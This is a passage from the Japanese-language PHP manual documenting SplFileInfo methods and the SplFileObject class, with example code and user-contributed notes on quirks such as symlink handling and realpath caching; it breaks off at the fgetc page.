public SplFileInfo::getPathInfo ( string $class_name = ? ) : SplFileInfo

現在のファイルの親を表す SplFileInfo オブジェクトを取得します。

パラメータ

class_name

使用したい SplFileInfo 派生クラスの名前。

返り値

ファイルの親のパスの SplFileInfo オブジェクトを返します。

例

例1 SplFileInfo::getPathInfo() の例

<?php
$info = new SplFileInfo('/usr/bin/php');
$parent_info = $info->getPathInfo();
var_dump($parent_info->getRealPath());
?>

上の例の出力は、 たとえば以下のようになります。

string(8) "/usr/bin"

参考

  • SplFileInfo::setInfoClass() - SplFileInfo::getFileInfo および SplFileInfo::getPathInfo で使用するクラスを設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイルへのパスを取得する

  • ≪ SplFileInfo::getPathInfo
  • SplFileInfo::getPerms ≫
  • PHP Manual
  • SplFileInfo
  • ファイルへのパスを取得する

SplFileInfo::getPathname

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getPathname — ファイルへのパスを取得する

説明

public SplFileInfo::getPathname ( ) : string

ファイルへのパスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルへのパスを返します。

例

例1 SplFileInfo::getPathname() の例

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPathname());
?>

上の例の出力は、 たとえば以下のようになります。

string(12) "/usr/bin/php"

参考

  • SplFileInfo::getRealPath() - ファイルへの絶対パスを取得する

User Contributed Notes

_ michael 18-Mar-2011 06:00
In Windows, getPathname might return a path with a mix of backslashes and forward slashes ('C:/some/path/to\a\file.txt'). Observed in PHP 5.2.9. By contrast, getRealPath will return a consistent result (all backslashes).


ファイルのパーミッションを取得する

  • ≪ SplFileInfo::getPathname
  • SplFileInfo::getRealPath ≫
  • PHP Manual
  • SplFileInfo
  • ファイルのパーミッションを取得する

SplFileInfo::getPerms

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getPerms — ファイルのパーミッションを取得する

説明

public SplFileInfo::getPerms ( ) : int

ファイルのパーミッションを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルのパーミッションを返します。

例

例1 SplFileInfo::getPerms() の例

<?php
$info = new SplFileInfo('/tmp');
echo substr(sprintf('%o', $info->getPerms()), -4);

$info = new SplFileInfo(__FILE__);
echo substr(sprintf('%o', $info->getPerms()), -4);
?>

上の例の出力は、 たとえば以下のようになります。

1777
0644

User Contributed Notes

There are no user contributed notes for this page.


ファイルへの絶対パスを取得する

  • ≪ SplFileInfo::getPerms
  • SplFileInfo::getSize ≫
  • PHP Manual
  • SplFileInfo
  • ファイルへの絶対パスを取得する

SplFileInfo::getRealPath

(PHP 5 >= 5.2.2, PHP 7)

SplFileInfo::getRealPath — ファイルへの絶対パスを取得する

説明

public SplFileInfo::getRealPath ( ) : string

このメソッドは、すべてのシンボリックリンクを展開して相対参照を解決し、 ファイルへの実際のパスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルへのパスを返します。ファイルが存在しない場合は false を返します。

例

例1 SplFileInfo::getRealPath() の例

<?php
$info = new SplFileInfo('/..//./../../'.__FILE__);
var_dump($info->getRealPath());

$info = new SplFileInfo('/tmp');
var_dump($info->getRealPath());

$info = new SplFileInfo('/I/Do/Not/Exist');
var_dump($info->getRealPath());

$info = new SplFileInfo('php://output');
var_dump($info->getRealPath());

$info = new SplFileInfo("");
var_dump($info->getRealPath());
?>

上の例の出力は、 たとえば以下のようになります。

string(28) "/private/tmp/phptempfile.php"
string(12) "/private/tmp"
bool(false)
bool(false)
string(12) "/private/tmp"

参考

  • SplFileInfo::isLink() - ファイルがリンクであるかどうかを調べる
  • realpath() - 正規化された絶対パス名を返す

User Contributed Notes

giel at berkers dot online 21-Feb-2018 10:09
Note that due to realpath caching this method will return false when the file has been renamed or unlinked by other processes.

Example:

<?php
$info = new SplFileInfo('example.php');
$info->getRealPath();   // /path/to/example.php

rename('example.php', 'foobar.php');

$info->getRealPath();   // false
?>


ファイルサイズを取得する

  • ≪ SplFileInfo::getRealPath
  • SplFileInfo::getType ≫
  • PHP Manual
  • SplFileInfo
  • ファイルサイズを取得する

SplFileInfo::getSize

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getSize — ファイルサイズを取得する

説明

public SplFileInfo::getSize ( ) : int

参照するファイルのファイルサイズをバイト数で返します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルサイズをバイト数で返します。

エラー / 例外

ファイルが存在しなかった場合やエラーが発生した場合に RuntimeException をスローします。

参考

  • filesize() - ファイルのサイズを取得する

User Contributed Notes

random-citizen at example dot org 30-May-2018 08:38
If you're using Symfony's UploadedFile,
please be aware that if you call this method
_after_ you call @move, you will most likely get
some obscenely untraceable error, that says:

`stat failed`

Which if you really think about it, it does makes sense,
the file has been moved by Symfony, but getSize is in SplFileInfo,
and SplFileInfo doesn't know that the file has been moved.

Weirdly enough, that error doesn't come on my work mac :|
contact at socialdevelop dot biz 01-Apr-2016 05:59
if use it as SplFileInfo::getSize - it return false if file not found
if use it as SplFileObject::getSize - it generate RuntimeException: SplFileObject::__construct(my-file): failed to open stream: No such file or directory
Anonymous 14-Mar-2016 08:21
Check http://php.net/manual/en/function.filesize.php#115792 for fast and reliable version of filesize for files >2gb on 32 bit systems.
franssen dot roland at gmail dot com 30-Apr-2011 05:59
Seems to return FALSE if file does not exists... (PHP 5.3.4)


ファイルタイプを取得する

  • ≪ SplFileInfo::getSize
  • SplFileInfo::isDir ≫
  • PHP Manual
  • SplFileInfo
  • ファイルタイプを取得する

SplFileInfo::getType

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::getType — ファイルタイプを取得する

説明

public SplFileInfo::getType ( ) : string

参照するファイルの型を返します。

パラメータ

この関数にはパラメータはありません。

返り値

このエントリの型を文字列で返します。 file, link, dir, block, fifo, char, socket, unknown のいずれかとなります。

エラー / 例外

エラー時に RuntimeException をスローします。

例

例1 SplFileInfo::getType() の例

<?php

$info = new SplFileInfo(__FILE__);
echo $info->getType().PHP_EOL;

$info = new SplFileInfo(dirname(__FILE__));
echo $info->getType();

?>

上の例の出力は、 たとえば以下のようになります。

file
dir

User Contributed Notes

There are no user contributed notes for this page.


ファイルがディレクトリかどうかを調べる

  • ≪ SplFileInfo::getType
  • SplFileInfo::isExecutable ≫
  • PHP Manual
  • SplFileInfo
  • ファイルがディレクトリかどうかを調べる

SplFileInfo::isDir

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isDir — ファイルがディレクトリかどうかを調べる

説明

public SplFileInfo::isDir ( ) : bool

このメソッドを使用して、ファイルがディレクトリかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ディレクトリである場合に true、そうでない場合に false を返します。

例

例1 SplFileInfo::isDir() の例

<?php
$d = new SplFileInfo(dirname(__FILE__));
var_dump($d->isDir());

$d = new SplFileInfo(__FILE__);
var_dump($d->isDir());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:16
Documentation is a bit misleading.

SplFileInfo->isDir() and other classes (e.g. DirectoryIterator->isDir()) return TRUE for symlinks of directories. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


ファイルが実行可能かどうかを調べる

  • ≪ SplFileInfo::isDir
  • SplFileInfo::isFile ≫
  • PHP Manual
  • SplFileInfo
  • ファイルが実行可能かどうかを調べる

SplFileInfo::isExecutable

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isExecutable — ファイルが実行可能かどうかを調べる

説明

public SplFileInfo::isExecutable ( ) : bool

ファイルが実行可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

実行可能である場合に true、そうでない場合に false を返します。

例

例1 SplFileInfo::isExecutable() の例

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->isExecutable());

$info = new SplFileInfo('/usr/bin');
var_dump($info->isExecutable());

$info = new SplFileInfo('foo');
var_dump($info->isExecutable());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの参照先が通常のファイルであるかどうかを調べる

  • ≪ SplFileInfo::isExecutable
  • SplFileInfo::isLink ≫
  • PHP Manual
  • SplFileInfo
  • オブジェクトの参照先が通常のファイルであるかどうかを調べる

SplFileInfo::isFile

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isFile — オブジェクトの参照先が通常のファイルであるかどうかを調べる

説明

public SplFileInfo::isFile ( ) : bool

この SplFileInfo オブジェクトが参照するファイルが存在し、通常のファイルであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルが存在してかつ (リンクではない) 通常のファイルである場合に true、 そうでない場合に false を返します。

例

例1 SplFileInfo::isFile() の例

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isFile());

$info = new SplFileInfo(dirname(__FILE__));
var_dump($info->isFile());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:12
Documentation is a bit misleading.

SplFileInfo->isFile() and other classes (e.g. DirectoryIterator->isFile()) return TRUE for symlinks of files. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


ファイルがリンクであるかどうかを調べる

  • ≪ SplFileInfo::isFile
  • SplFileInfo::isReadable ≫
  • PHP Manual
  • SplFileInfo
  • ファイルがリンクであるかどうかを調べる

SplFileInfo::isLink

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isLink — ファイルがリンクであるかどうかを調べる

説明

public SplFileInfo::isLink ( ) : bool

このメソッドを使用して、SplFileInfo オブジェクトが参照するファイルがリンクであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルがリンクである場合に true、そうでない場合に false を返します。

例

例1 SplFileInfo::isLink() の例

<?php
$info = new SplFileInfo('/path/to/symlink');
if ($info->isLink()) {
    echo 'The real path is '.$info->getRealPath();
}
?>

参考

  • SplFileInfo::getRealPath() - ファイルへの絶対パスを取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルが読み込み可能か調べる

  • ≪ SplFileInfo::isLink
  • SplFileInfo::isWritable ≫
  • PHP Manual
  • SplFileInfo
  • ファイルが読み込み可能か調べる

SplFileInfo::isReadable

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isReadable — ファイルが読み込み可能か調べる

説明

public SplFileInfo::isReadable ( ) : bool

ファイルが読み込み可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

読み込み可能である場合に true、そうでない場合に false を返します。

例

例1 SplFileInfo::isReadable() の例

<?php
$info = new SplFileInfo(__FILE__);
var_dump($info->isReadable());

$info = new SplFileInfo('foo');
var_dump($info->isReadable());
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


エントリが書き込み可能であるかどうかを調べる

  • ≪ SplFileInfo::isReadable
  • SplFileInfo::openFile ≫
  • PHP Manual
  • SplFileInfo
  • エントリが書き込み可能であるかどうかを調べる

SplFileInfo::isWritable

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::isWritable — エントリが書き込み可能であるかどうかを調べる

説明

public SplFileInfo::isWritable ( ) : bool

現在のエントリが書き込み可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

書き込み可能な場合に true、そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルの SplFileObject オブジェクトを取得する

  • ≪ SplFileInfo::isWritable
  • SplFileInfo::setFileClass ≫
  • PHP Manual
  • SplFileInfo
  • ファイルの SplFileObject オブジェクトを取得する

SplFileInfo::openFile

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::openFile — ファイルの SplFileObject オブジェクトを取得する

説明

public SplFileInfo::openFile ( string $open_mode = "r" , bool $use_include_path = false , resource $context = null ) : SplFileObject

ファイルの SplFileObject オブジェクトを作成します。 これが便利なのは、SplFileObject にはファイルを操作するためのさまざまなメソッドが追加されているからです。 SplFileInfo には、 たとえばファイルが書き込み可能かどうかなどといった情報を取得するだけの機能しかありません。

パラメータ

open_mode

ファイルを開く際のモード。使用できるモードについての説明は fopen() のドキュメントを参照ください。 デフォルトは読み込み専用となります。

use_include_path

true に設定すると、このファイル名を include_path の中からも探します。

context

コンテキスト についての説明は、 マニュアルの コンテキスト の節を参照ください。

返り値

オープンしたファイルを SplFileObject オブジェクトで返します。

エラー / 例外

ファイルをオープンできない (アクセス権限が適切でないなど) 場合に RuntimeException が発生します。

例

例1 SplFileInfo::openFile() の例

<?php
$fileinfo = new SplFileInfo('/tmp/foo.txt');

if ($fileinfo->isWritable()) {

    $fileobj = $fileinfo->openFile('a');

    $fileobj->fwrite("appended this sample text");
}
?>

参考

  • SplFileObject
  • stream_context_create() - ストリームコンテキストを作成する
  • fopen() - ファイルまたは URL をオープンする

User Contributed Notes

There are no user contributed notes for this page.


SplFileInfo::openFile で使用するクラスを設定する

  • ≪ SplFileInfo::openFile
  • SplFileInfo::setInfoClass ≫
  • PHP Manual
  • SplFileInfo
  • SplFileInfo::openFile で使用するクラスを設定する

SplFileInfo::setFileClass

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::setFileClass — SplFileInfo::openFile() で使用するクラスを設定する

説明

public SplFileInfo::setFileClass ( string $class_name = "SplFileObject" ) : void

SplFileInfo::openFile() が呼ばれたときに使用する、カスタムクラスを設定します。 このメソッドに渡すクラス名は、SplFileObject あるいはその派生クラスのものでなければいけません。

パラメータ

class_name

SplFileInfo::openFile() がコールされた際に使用するクラス名。

返り値

値を返しません。

例

例1 SplFileInfo::setFileClass() の例

<?php
// SplFileObject を継承したクラスを作成します
class MyFoo extends SplFileObject {}

$info = new SplFileInfo(__FILE__);
// 使用するクラスを設定します
$info->setFileClass('MyFoo');
var_dump($info->openFile());
?>

上の例の出力は、 たとえば以下のようになります。

object(MyFoo)#2 (0) { }

参考

  • SplFileInfo::openFile() - ファイルの SplFileObject オブジェクトを取得する

User Contributed Notes

There are no user contributed notes for this page.


SplFileInfo::getFileInfo および SplFileInfo::getPathInfo で使用するクラスを設定する

  • ≪ SplFileInfo::setFileClass
  • SplFileInfo::__toString ≫
  • PHP Manual
  • SplFileInfo
  • SplFileInfo::getFileInfo および SplFileInfo::getPathInfo で使用するクラスを設定する

SplFileInfo::setInfoClass

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::setInfoClass — SplFileInfo::getFileInfo() および SplFileInfo::getPathInfo() で使用するクラスを設定する

説明

public SplFileInfo::setInfoClass ( string $class_name = "SplFileInfo" ) : void

このメソッドで、 SplFileInfo::getFileInfo() および SplFileInfo::getPathInfo() がコールされた際に使用するカスタムクラスを設定します。 このメソッドに渡すクラス名は、SplFileInfo あるいはその派生クラスのものでなければいけません。

パラメータ

class_name

SplFileInfo::getFileInfo() および SplFileInfo::getPathInfo() がコールされた際に使用するクラス名。

返り値

値を返しません。

例

例1 SplFileInfo::setFileClass() の例

<?php
// SplFileInfo を継承したクラスを定義します
class MyFoo extends SplFileInfo {}

$info = new SplFileInfo('foo');
// 使用するクラス名を設定します
$info->setInfoClass('MyFoo');
var_dump($info->getFileInfo());
?>

上の例の出力は、 たとえば以下のようになります。

object(MyFoo)#2 (0) { }

参考

  • SplFileInfo::getFileInfo() - ファイルの SplFileInfo オブジェクトを取得する

User Contributed Notes

Eugene Kunkel 05-Nov-2019 03:21
Be careful when using this method, as the functionality isn't exactly the same as instantiating the extending class directly. This can really trip you up if you're using type hints or instanceof checks.

<?php

class CustomFileInfo extends SplFileInfo
{
    public function getExtension()
    {
        $ext = strtolower(parent::getExtension());

        return 'jpeg' === $ext ? 'jpg' : $ext;
    }
}

$path = __DIR__ . '/foobar.jpeg';

$good = new CustomFileInfo($path);

echo "<pre>";
var_dump($good instanceof SplFileInfo);
var_dump($good instanceof CustomFileInfo);

$bad = new SplFileInfo($path);
$bad->setInfoClass('CustomFileInfo');

var_dump($bad instanceof SplFileInfo);
var_dump($bad instanceof CustomFileInfo);
echo "</pre>";

?>

Outputs:

bool(true)
bool(true)
bool(true)
bool(false)


ファイルへのパスを文字列で返す

  • ≪ SplFileInfo::setInfoClass
  • SplFileObject ≫
  • PHP Manual
  • SplFileInfo
  • ファイルへのパスを文字列で返す

SplFileInfo::__toString

(PHP 5 >= 5.1.2, PHP 7)

SplFileInfo::__toString — ファイルへのパスを文字列で返す

説明

public SplFileInfo::__toString ( ) : string

このメソッドは、参照するファイルのファイル名を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルへのパスを返します。

例

例1 SplFileInfo::__toString() の例

<?php
$info = new SplFileInfo('foo');
var_dump($info->__toString());
echo $info.PHP_EOL;

$info = new SplFileInfo('/usr/bin/php');
var_dump($info->__toString());
echo $info.PHP_EOL;
?>

上の例の出力は、 たとえば以下のようになります。

string(3) "foo"
foo
string(12) "/usr/bin/php"
/usr/bin/php

User Contributed Notes

alvaro at demogracia dot com 19-Jan-2016 10:57
It returns the exact $file_name string provided in the constructor, without further processing, normalisation or verification.


SplFileObject クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

SplFileObject クラスはファイルのためのオブジェクト指向のインターフェイスを提供します。

クラス概要

SplFileObject extends SplFileInfo implements RecursiveIterator , SeekableIterator {
/* 定数 */
const int DROP_NEW_LINE = 1 ;
const int READ_AHEAD = 2 ;
const int SKIP_EMPTY = 4 ;
const int READ_CSV = 8 ;
/* メソッド */
public __construct ( string $filename , string $open_mode = "r" , bool $use_include_path = false , resource $context = ? )
public current ( ) : string|array
public eof ( ) : bool
public fflush ( ) : bool
public fgetc ( ) : string
public fgetcsv
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : array
public fgets ( ) : string
public fgetss ( string $allowable_tags = ? ) : string
public flock ( int $operation , int &$wouldblock = ? ) : bool
public fpassthru ( ) : int
public fputcsv ( array $fields , string $delimiter = "," , string $enclosure = '"' , string $escape = "\\" ) : int|false
public fread ( int $length ) : string|false
public fscanf ( string $format , mixed &...$vars ) : mixed
public fseek ( int $offset , int $whence = SEEK_SET ) : int
public fstat ( ) : array
public ftell ( ) : int
public ftruncate ( int $size ) : bool
public fwrite ( string $str , int $length = ? ) : int
public getChildren ( ) : void
public getCsvControl ( ) : array
public getFlags ( ) : int
public getMaxLineLen ( ) : int
public hasChildren ( ) : bool
public key ( ) : int
public next ( ) : void
public rewind ( ) : void
public seek ( int $line_pos ) : void
public setCsvControl
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : void
public setFlags ( int $flags ) : void
public setMaxLineLen ( int $max_len ) : void
public valid ( ) : bool
/* 継承したメソッド */
public SplFileInfo::getATime ( ) : int
public SplFileInfo::getBasename ( string $suffix = ? ) : string
public SplFileInfo::getCTime ( ) : int
public SplFileInfo::getExtension ( ) : string
public SplFileInfo::getFileInfo ( string $class_name = ? ) : SplFileInfo
public SplFileInfo::getFilename ( ) : string
public SplFileInfo::getGroup ( ) : int
public SplFileInfo::getInode ( ) : int
public SplFileInfo::getLinkTarget ( ) : string
public SplFileInfo::getMTime ( ) : int
public SplFileInfo::getOwner ( ) : int
public SplFileInfo::getPath ( ) : string
public SplFileInfo::getPathInfo ( string $class_name = ? ) : SplFileInfo
public SplFileInfo::getPathname ( ) : string
public SplFileInfo::getPerms ( ) : int
public SplFileInfo::getRealPath ( ) : string
public SplFileInfo::getSize ( ) : int
public SplFileInfo::getType ( ) : string
public SplFileInfo::isDir ( ) : bool
public SplFileInfo::isExecutable ( ) : bool
public SplFileInfo::isFile ( ) : bool
public SplFileInfo::isLink ( ) : bool
public SplFileInfo::isReadable ( ) : bool
public SplFileInfo::isWritable ( ) : bool
public SplFileInfo::openFile ( string $open_mode = "r" , bool $use_include_path = false , resource $context = null ) : SplFileObject
public SplFileInfo::setFileClass ( string $class_name = "SplFileObject" ) : void
public SplFileInfo::setInfoClass ( string $class_name = "SplFileInfo" ) : void
public SplFileInfo::__toString ( ) : string
}

定義済み定数

SplFileObject::DROP_NEW_LINE

行末の改行を読み飛ばします。

SplFileObject::READ_AHEAD

先読み/巻き戻しで読み出します。

SplFileObject::SKIP_EMPTY

ファイルの空行を読み飛ばします。期待通りに動作させるには、READ_AHEAD フラグを有効にしないといけません。

SplFileObject::READ_CSV

CSV 列として行を読み込みます。

変更履歴

バージョン | 説明
5.3.9 | SplFileObject::SKIP_EMPTY の値が 4 に変わりました。前のバージョンでは、値は 6 でした。

目次

  • SplFileObject::__construct — 新しいファイルオブジェクトを作成する
  • SplFileObject::current — ファイルの現在の行を取得する
  • SplFileObject::eof — ファイルの終端に到達しているか調べる
  • SplFileObject::fflush — 出力をファイルにフラッシュする
  • SplFileObject::fgetc — ファイルから文字を取り出す
  • SplFileObject::fgetcsv — ファイルから行を取り出し CSV フィールドとして処理する
  • SplFileObject::fgets — ファイルから 1 行取り出す
  • SplFileObject::fgetss — ファイルから 1 行取り出し HTML タグを取り除く
  • SplFileObject::flock — 簡易なファイルロックを行う
  • SplFileObject::fpassthru — ファイルポインタに残っているデータをすべて出力する
  • SplFileObject::fputcsv — フィールドの配列を CSV の行として書き出す
  • SplFileObject::fread — ファイルから読み取る
  • SplFileObject::fscanf — フォーマットに従ってファイルからの入力をパースする
  • SplFileObject::fseek — ファイルポインタを移動させる
  • SplFileObject::fstat — ファイルの情報を得る
  • SplFileObject::ftell — ファイルポインタの現在位置を返す
  • SplFileObject::ftruncate — ファイルを指定した長さに丸める
  • SplFileObject::fwrite — ファイルに書き込む
  • SplFileObject::getChildren — 用途はなし
  • SplFileObject::getCsvControl — CSV の区切り、囲み文字、エスケープ文字を取得する
  • SplFileObject::getCurrentLine — SplFileObject::fgets のエイリアス
  • SplFileObject::getFlags — SplFileObject のフラグを取得する
  • SplFileObject::getMaxLineLen — 行の最大バイト数を取得する
  • SplFileObject::hasChildren — SplFileObject は子を持ちません
  • SplFileObject::key — 行番号を取得する
  • SplFileObject::next — 次の行を読み出す
  • SplFileObject::rewind — ファイルポインタを先頭に巻き戻す
  • SplFileObject::seek — ファイルポインタを指定行に移動させる
  • SplFileObject::setCsvControl — CSV の区切り文字、囲み文字、エスケープ文字をセットする
  • SplFileObject::setFlags — SplFileObject のフラグをセットする
  • SplFileObject::setMaxLineLen — 読み込む行の最大バイト数をセットする
  • SplFileObject::__toString — SplFileObject::fgets のエイリアス
  • SplFileObject::valid — ファイル終端でないかチェックする

User Contributed Notes

rlazarotto15+dont+spam+me at gmail dot com 04-Feb-2021 06:00
Complimenting marcus at synchromedia dot co dot uk comment, you can also do something like this:

<?php

// create a SplFileObject for reading - note that there are no flags
$file = new SplFileObject('/path/to/file', 'r');

// iterate over its contents
while (!$file->eof()) {
    // get the current line
    $line  =  $file->fgets();

    // trim it, and then check if its empty
    if (empty(trim($line))) {
        // skips the current iteration
        continue;
    }
}

While this may seem like a overkill for such thing, it allows you to do some processing with the empty lines that might come (I had to do this mostly because I needed to count empty lines instead of just skipping them). Since it also trims the line before checking if it's empty, you won't get lines composed only of empty spaces (I don't know if the flags also make it trim the content before checking it).
marcus at synchromedia dot co dot uk 16-Aug-2014 08:35
If you want to skip blank lines when reading a CSV file, you need *all * the flags:

$file->setFlags(SplFileObject::READ_CSV | SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
Lars Gyrup Brink Nielsen 05-Sep-2013 01:46
Note that this class has a private (and thus, not documented) property that holds the file pointer. Combine this with the fact that there is no method to close the file handle, and you get into situations where you are not able to delete the file with unlink(), etc., because an SplFileObject still has a handle open.

To get around this issue, delete the SplFileObject like this:

---------------------------------------------------------------------
<?php
print "Declaring file object\n";
$file = new SplFileObject('example.txt');

print "Trying to delete file...\n";
unlink('example.txt');

print "Closing file object\n";
$file = null;

print "Deleting file...\n";
unlink('example.txt');

print 'File deleted!';
?>
---------------------------------------------------------------------

which will output:

---------------------------------------------------------------------
Declaring file object
Trying to delete file...

Warning: unlink(example.txt): Permission denied in file.php on line 6
Closing file object
Deleting file...
File deleted!
---------------------------------------------------------------------


新しいファイルオブジェクトを作成する

  • ≪ SplFileObject
  • SplFileObject::current ≫
  • PHP Manual
  • SplFileObject
  • 新しいファイルオブジェクトを作成する

SplFileObject::__construct

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::__construct — 新しいファイルオブジェクトを作成する

説明

public SplFileObject::__construct ( string $filename , string $open_mode = "r" , bool $use_include_path = false , resource $context = ? )

新しいファイルオブジェクトを作成します。

パラメータ

filename

読み込むファイル。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

open_mode

ファイルをオープンするときのモード。許可されるモードのリストは fopen() を参照。

use_include_path

filename を探すのに include_path を探索するかどうか。

context

stream_context_create() で作られる有効なコンテキストリソース。

返り値

値を返しません。

エラー / 例外

filename がオープンできない場合、RuntimeException がスローされます。

filename がディレクトリの場合、LogicException がスローされます。

例

例1 SplFileObject::__construct() の例

この例は現在のファイルをオープンし 1 行ごとに内容を反復処理します。

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line_num => $line) {
    echo "Line $line_num is $line";
}
?>

上の例の出力は、 たとえば以下のようになります。

Line 0 is <?php
Line 1 is $file = new SplFileObject(__FILE__);
Line 2 is foreach ($file as $line_num => $line) {
Line 3 is     echo "Line $line_num is $line";
Line 4 is }
Line 5 is ?>

参考

  • SplFileInfo::openFile() - ファイルの SplFileObject オブジェクトを取得する
  • fopen() - ファイルまたは URL をオープンする

User Contributed Notes

KEINOS at blog.keinos.com 22-May-2017 04:24
When using URL as a filename, such as "http://..." or "php://stdin", and also have the fopen wappers on, and you get a 'RuntimeException' error, try using "NoRewindIterator" class to a SplFileObject instance.

<?php
$url = 'http://sample.com/data.csv';
$file = new NoRewindIterator( new SplFileObject( $url ) );
foreach ($file as $line_num => $line) {
    echo "Line $line_num is $line";
}
?>

While opening a file, a rewind method will be called, but these URL iterators cannot be rewind, so you'll get a "Fatal error: Uncaught exception 'RuntimeException' with message 'Cannot rewind file ...'" error.
majna 20-Aug-2014 10:09
(PHP >= 5.3) If filename is a directory, a LogicException will be thrown: "Cannot use SplFileObject with directories"


ファイルの現在の行を取得する

  • ≪ SplFileObject::__construct
  • SplFileObject::eof ≫
  • PHP Manual
  • SplFileObject
  • ファイルの現在の行を取得する

SplFileObject::current

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::current — ファイルの現在の行を取得する

説明

public SplFileObject::current ( ) : string|array

ファイルの現在の行を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの現在の行を取得します。SplFileObject::READ_CSV フラグがセットされている場合、このメソッドは CSV データとして処理された現在の行を格納している配列を返します。

例

例1 SplFileObject::current() の例

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $k => $line) {
   echo ($file->key() + 1) . ': ' . $file->current();
}
?>

上の例の出力は、 たとえば以下のようになります。

1: <?php
2: $file = new SplFileObject(__FILE__);
3: foreach ($file as $line) {
4:     echo ($file->key() + 1) . ': ' . $file->current();
5: }
6: ?>

参考

  • SplFileObject::key() - 行番号を取得する
  • SplFileObject::seek() - ファイルポインタを指定行に移動させる
  • SplFileObject::next() - 次の行を読み出す
  • SplFileObject::rewind() - ファイルポインタを先頭に巻き戻す
  • SplFileObject::valid() - ファイル終端でないかチェックする

User Contributed Notes

There are no user contributed notes for this page.


ファイルの終端に到達しているか調べる

  • ≪ SplFileObject::current
  • SplFileObject::fflush ≫
  • PHP Manual
  • SplFileObject
  • ファイルの終端に到達しているか調べる

SplFileObject::eof

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::eof — ファイルの終端に到達しているか調べる

説明

public SplFileObject::eof ( ) : bool

ファイルの終端に到達しているか調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルが終端であれば true、そうでなければ false を返します。

例

例1 SplFileObject::eof() の例

<?php
$file = new SplFileObject("fruits.txt");
while ( ! $file->eof()) {
    echo $file->fgets();
}
?>

上の例の出力は、 たとえば以下のようになります。

apple
banana
cherry
date
elderberry

参考

  • SplFileObject::valid() - ファイル終端でないかチェックする
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる

User Contributed Notes

There are no user contributed notes for this page.


出力をファイルにフラッシュする

  • ≪ SplFileObject::eof
  • SplFileObject::fgetc ≫
  • PHP Manual
  • SplFileObject
  • 出力をファイルにフラッシュする

SplFileObject::fflush

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fflush — 出力をファイルにフラッシュする

説明

public SplFileObject::fflush ( ) : bool

バッファリングされたすべての出力をファイルに強制的に書き込みます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SplFileObject::fflush() の例

<?php
$file = new SplFileObject('misc.txt', 'r+');
$file->rewind();
$file->fwrite("Foo");
$file->fflush();
$file->ftruncate($file->ftell());
?>

参考

  • SplFileObject::fwrite() - ファイルに書き込む

User Contributed Notes

There are no user contributed notes for this page.


ファイルから文字を取り出す

  • ≪ SplFileObject::fflush
  • SplFileObject::fgetcsv ≫
  • PHP Manual
  • SplFileObject
  • ファイルから文字を取り出す

SplFileObject::fgetc

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgetc — ファイルから文字を取り出す

説明

public SplFileObject::fgetc ( ) : string

ファイルから 1 文字取り出す。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルから読み込まれた 1 文字を含む文字列もしくは終端の場合は false を返します。

警告

